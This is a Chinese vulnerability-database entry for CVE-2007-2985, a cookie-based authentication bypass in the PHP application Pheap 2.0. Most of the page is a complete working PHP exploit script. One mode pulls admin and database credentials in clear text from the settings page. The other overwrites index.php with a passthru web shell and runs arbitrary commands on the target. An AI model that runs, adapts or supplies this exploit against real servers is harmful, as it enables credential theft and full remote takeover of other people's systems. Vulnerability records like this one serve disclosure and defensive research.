Pheap 绕过身份认证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113050 漏洞类型 权限许可和访问控制
发布时间 2007-05-29 更新时间 2007-06-01
CVE编号 CVE-2007-2985 CNNVD-ID CNNVD-200706-004
漏洞平台 PHP CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/4006
https://www.securityfocus.com/bid/86122
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200706-004
|漏洞详情
Pheap2.0版本允许远程攻击者通过把pheap_logincookie值设置成管理员的用户名,来绕过身份认证。注意:攻击者还可以借助edit.php文件中的update_doc操作,上传和执行任意的PHP代码。
|漏洞EXP
#!/usr/bin/php -q -d short_open_tag=on
<?php

/*

Explanation:

The user verification routine used in most of the files is:

#####
#
#   include("lib/config.php");
#	if ($_COOKIE['pheap_login'] != $username){
#	header("Location: login.php");
#	} else { [CONTINUE EXECUTING CODE] }
#
#####

So basically it's saying "If the value within the cookie pheap_login is not the same value
that is assigned to the $username variable withing lib/config.php then you have to be redirected
to the login page".

So if we know the admin's username we can access any page that uses this authentication method. Also, 
we can retrieve all credentials in clear-text. ;)

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<5) {
print "-------------------------------------------------------------------------\r\n";
print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_pheap.php [OPTION] [HOST] [PATH] [USER] ([COMMAND])\r\n\r\n";
print "[OPTION]  = 0 = Credentials Disclosures\r\n";
print "            1 = Remote Code Execution\r\n";
print "[HOST] 	  = Target server's hostname or ip address\r\n";
print "[PATH] 	  = Path where Pheap is located\r\n";
print "[USER] 	  = Admin's username\r\n";
print "[COMMAND] = Command to execute\r\n\r\n";
print "e.g. w4ck1ng_pheap.php 0 victim.com /pheap/ admin\r\n";
print "     w4ck1ng_pheap.php 1 victim.com /pheap/ admin \"ls -lia\"\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
die;
}

// Props to rgod for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$user = $argv[4];
$cmd  = $argv[5];
$cmd  = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($exploit==0){

print "-------------------------------------------------------------------------\r\n";
print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
print "-------------------------------------------------------------------------\r\n";

    $packet ="GET " . $path . "settings.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Connection: Close\r\n\r\n";

    sendpacketii($packet);

    if (strstr($html,"This is the settings panel")){}
    else{echo "...Failed!\r\n"; exit();}

    $temp=explode("name=\"user_name\" class=\"ieleft\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin User: " . $ret_user . "\r\n";

    $temp=explode("name=\"password\" class=\"ieleft\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin Pass: " . $ret_user . "\r\n";

    $temp=explode("name=\"dbhost\" class=\"ieleft\" id=\"dbhost\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Host",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Host: " . $ret_user . "\r\n";

    $temp=explode("name=\"dbuser\" class=\"ieleft\" id=\"dbuser\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database User: " . $ret_user . "\r\n";

    $temp=explode("name=\"dbpass\" class=\"ieleft\" id=\"dbpass\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Pass: " . $ret_user . "\r\n";

print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
}

if($exploit==1){

    $packet ="GET " . $path . "edit.php?em=file&filename=" . $path . "index.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Connection: Close\r\n\r\n";

    sendpacketii($packet);

    $temp=explode("name=\"filename\" value=\"",$html);
    $temp2=explode("\">",$temp[1]);
    $fullpath=$temp2[0];

	$shell = '<?php echo "<font color=#FFFFFF>...Silentz</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=#FFFFFF>...Silentz</font>";?>';
	$data = "mce_editor_0_styleSelect=";
	$data .= "&mce_editor_0_formatSelect=";
	$data .= "&mce_editor_0_fontNameSelect=";
	$data .= "&mce_editor_0_fontSizeSelect=0";
	$data .= "&mce_editor_0_zoomSelect=100%25";
	$data .= "&content=" . urlencode($shell);
	$data .= "&filename=" . urlencode($fullpath);
	$data .= "&update_text.x=57";
	$data .= "&update_text.y=15"; 

    $packet ="POST " . $path . "edit.php?action=update_doc HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Accept: */*\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Referer: http://" . $host.$path . "edit.php?em=file&filename=" . $path . "index.php\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);

    $packet ="GET " . $path . "index.php?cmd=" . $cmd . " HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);

    if (strstr($html,"...Silentz"))
     {
	print "-------------------------------------------------------------------------\r\n";
	print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
	print "-------------------------------------------------------------------------\r\n";

       $temp=explode("...Silentz</font>",$html);
       $temp2=explode("<font color=#FFFFFF>",$temp[1]);
       echo "===============================================================\r\n\r\n";
       echo $temp2[0];
       echo "\r\n===============================================================\r\n";
       echo "\r\n[+] Shell...http://" .$host.$path. "index.php?cmd=[COMMAND]\r\n";

	print "-------------------------------------------------------------------------\r\n";
	print "            		 http://www.w4ck1ng.com\r\n";
	print "            		        ...Silentz\r\n";
	print "-------------------------------------------------------------------------\r\n";

       die;
     }
}
?>

# milw0rm.com [2007-05-29]
|受影响的产品
Pheap Pheap 2.0
|参考资料

来源:XF
名称:pheap-edit-code-execution(34592)
链接:http://xforce.iss.net/xforce/xfdb/34592
来源:MILW0RM
名称:4006
链接:http://www.milw0rm.com/exploits/4006
来源:SECUNIA
名称:25460
链接:http://secunia.com/advisories/25460
来源:OSVDB
名称:36737
链接:http://osvdb.org/36737